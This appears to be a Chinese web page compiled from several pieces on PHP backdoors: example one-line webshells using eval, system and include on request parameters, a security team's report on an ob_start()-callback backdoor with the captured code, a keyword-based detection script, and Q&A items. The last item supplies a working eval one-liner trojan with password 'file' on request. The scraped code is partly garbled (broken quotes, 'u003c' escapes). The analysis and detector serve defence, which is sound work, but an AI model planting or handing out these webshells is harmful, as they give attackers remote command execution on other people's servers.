php后门代码,网站安全分析:PHP ob_start函数后门分析
php后门代码目录
网站中出现<?php eval($_POST[posha]);?> 这段代码?什么意思?
php后门代码
当涉及到 PHP 后门代码时,需要注意几个重要方面。首先,PHP 后门代码通常指的是隐藏在网站或应用程序中的恶意代码,这些代码旨在允许攻击者执行未授权操作或访问敏感数据。
1. 隐藏在正常文件中的后门代码:攻击者可能会将后门代码隐藏在正常的 PHP 文件中,例如在代码中插入恶意代码,使其在正常操作中执行。
```php
u003c?php
// 正常代码
// ...
// 后门代码
eval($_REQUEST['cmd']);
?u003e
```
2. 隐藏在注释中的后门代码:攻击者可能会使用注释来隐藏后门代码,以避免被正常审查。
```php
u003c?php
// 正常代码
// ...
// 隐藏的后门代码
eval($_REQUEST['cmd']); // u003c-- 后门代码
?u003e
```
3. 使用魔术常量来隐藏后门代码:魔术常量(例如 `__FILE__` 和 `__DIR__`)可以在字符串中拼接路径,攻击者可以使用这些常量来动态构造文件路径并包含恶意文件。
```php
u003c?php
// 正常代码
// ...
// 后门代码
include($_REQUEST['file']); // 动态包含恶意文件
?u003e
```
4. 使用函数来隐藏后门代码:攻击者可以使用 PHP 中的函数来执行恶意操作,例如使用 `system()` 或 `exec()` 函数来执行系统命令。
```php
u003c?php
// 正常代码
// ...
// 后门代码
system($_REQUEST['cmd']); // 执行系统命令
?u003e
```
请注意,这些示例仅提供了一些常见的 PHP 后门代码示例,实际上还有许多其他方法和技术可用于隐藏恶意代码。为了防止 PHP 后门攻击,建议采取以下措施:
保持 PHP 和相关应用程序的更新,以获取最新的安全补丁和修复程序。
使用安全的编程实践,例如避免直接使用用户输入来执行命令或访问文件系统。
对输入进行验证和过滤,以减少潜在的注入攻击。
使用 Web 应用程序防火墙(WAF)来检测和阻止恶意请求。
网站安全分析:PHP ob_start函数后门分析
9月12日消息:站长之家从日志宝安全团队获悉,近日,根据日志宝分析平台的分析数据显示,部分网站的访问日志中存在大量命令执行类后门行为。
我们与用户取得联系后拿到后门文件代码。
此类后门通过PHP的ob_start()函数触发,利用ob_start()函数回调机制调用命令执行类函数并接受黑客远程发送的命令,此类后门代码可以躲避部分常见后门关键字查杀程序,最终以Web服务器权限远程执行任意命令。
PHP 手册中关于ob_start()函数回调机制的相关说明:
Ob_start()函数后门代码如下:
?php
$cmd = system;ob_start($cmd);echo $_GET[a];ob_end_flush();
?
后门利用效果如下图:
针对此类后门行为,建议站长们检查网页源代码中是否出现ob_start()函数调用,并检查ob_start()的参数是否是常见的命令执行类函数(system,exec,popen,shell_exec等)或者其他可疑函数调用。
为了方便站长们检查网站源代码中是否出现可疑后门程序或者危险函数调用,日志宝安全团队编写了一款简易的PHP后门检测小脚本,可以快速方便的帮助站长检测网站文件是否被插入恶意后门代码,源代码和使用方法如下:
#!/usr/bin/php -q
?php
#简易PHPwebshell检测脚本-By 日志宝安全团队
#检测特征如下:
#eval($_POST 匹配 eval($_POST[cmd])--PHP一句话后门代码
#system(),exec(),shell_exec(),popen(),passthru(),proc_open()这些函数可以执行系统命令,名且在PHPSPY木马中使用
#phpinfo() 后门中经常出现的函数,正常文件中也可能出现造成敏感信息泄露
#eval(base64 匹配经过base64编码后的后门
#eval(gzuncompress 匹配经过gzip压缩过的后门
#`*` 匹配类似`$_REQUEST[cmd]`的一句话后门
#其他可以远程执行命令或者直接生成后门文件的危险函数(dl,assert,error_log,ob_start,preg_replace /e)
#使用方法
程序的分析结果将保存在当前目录下的result.log文件中
set_time_limit(0);
function find($directory)
{
$mydir=dir($directory);
while($file=$mydir-read()){
if((is_dir($directory/$file))($file!=.)($file!=..))
{
find($directory/$file);
}
else{
if($file != . $file != ..eregi(.php,$file)){
$fd=realpath($directory./.$file);
$fp = fopen($fd, r);
$i=0;
while ($buffer = fgets($fp, 4096)) {
$i++; if((eregi(eval($_POST,$buffer))||(eregi(system(,$buffer))||(eregi(exec(,$buffer))||(eregi(shell_exec(,$buffer))||(eregi(popen(,$buffer))||(eregi(phpinfo(,$buffer))||(eregi(passthru(,$buffer))||(eregi(proc_open(,$buffer))||(eregi(phpspy,$buffer))||(eregi(eval(base64,$buffer))||(eregi(eval(gzuncompress,$buffer))||(eregi(preg_replace(/^/e,$,$buffer))||(eregi(preg_replace(/^/e,$buffer))||(eregi(assert(,$buffer))||(eregi(ob_start(,$buffer))||(eregi(error_log(,$buffer))||(eregi(dl(,$buffer))){
all();
echo 可疑文件路径:.$fd.rnLine.$i.:.$buffer.rnrn;
}
}
fclose($fp);
}
}
}
$mydir-close();
}
function all()
{
static $count = 1;
echo $count;
$count++;
}
find($argv[1]);
?
使用日志宝分析日志可以发现绝大部分常见Web后门的可疑访问行为,但是由于PHP语法的松散导致可以利用常规函数实现部分后门行为,比如执行系统命令等,因此也会出现一些遗漏和误报。
在开发网站的过程中开发者需要有一定的安全编程意识,注意变量的初始化以及其他逻辑问题,加入一些安全过滤函数等防范措施,从网站本身的代码安全做起,才能起到深度防御的效果。
希望广大站长能够通过日志宝分享的安全知识技巧了解到更多Web安全相关内容,让自己的网站更加稳定、安全的运行。
注明:本安全报告来自日志宝,官方网站
网站中出现<?php eval($_POST[posha]);?> 这段代码?什么意思?
这是一个典型的后门程序,首先我解释一下eval函数的作用,
1
2
//eval — 把字符串作版为PHP代码执行
eval('echo 123;');//输出权123
也就是说,所有的字符串放入到eval当中,eval会把字符串解析为php代码来进行执行,那么结合$_POST['posha']的话,只要使用post传输时在name为posha的值中写入任何字符串,都可以当做php代码来执行,这个时候就有点可怕了,比如写入一段循环删除整站代码等等。
写一个PHP一句话木马密码为file?
PHP一句话木马是一种利用PHP的eval函数执行任意代码的后门程序。
一般格式为:
<?php @eval ($_POST [password]);?>
其中,password是连接木马时需要输入的密码,可以自定义。
如果您想要写一个密码为file的一句话木马,那么可以这样写:
<?php @eval ($_POST [file]);?>
请注意,这种木马非常危险,可能导致网站被黑客入侵或破坏,请谨慎使用。
(随机推荐阅读本站500篇优秀文章点击前往:500篇优秀随机文章)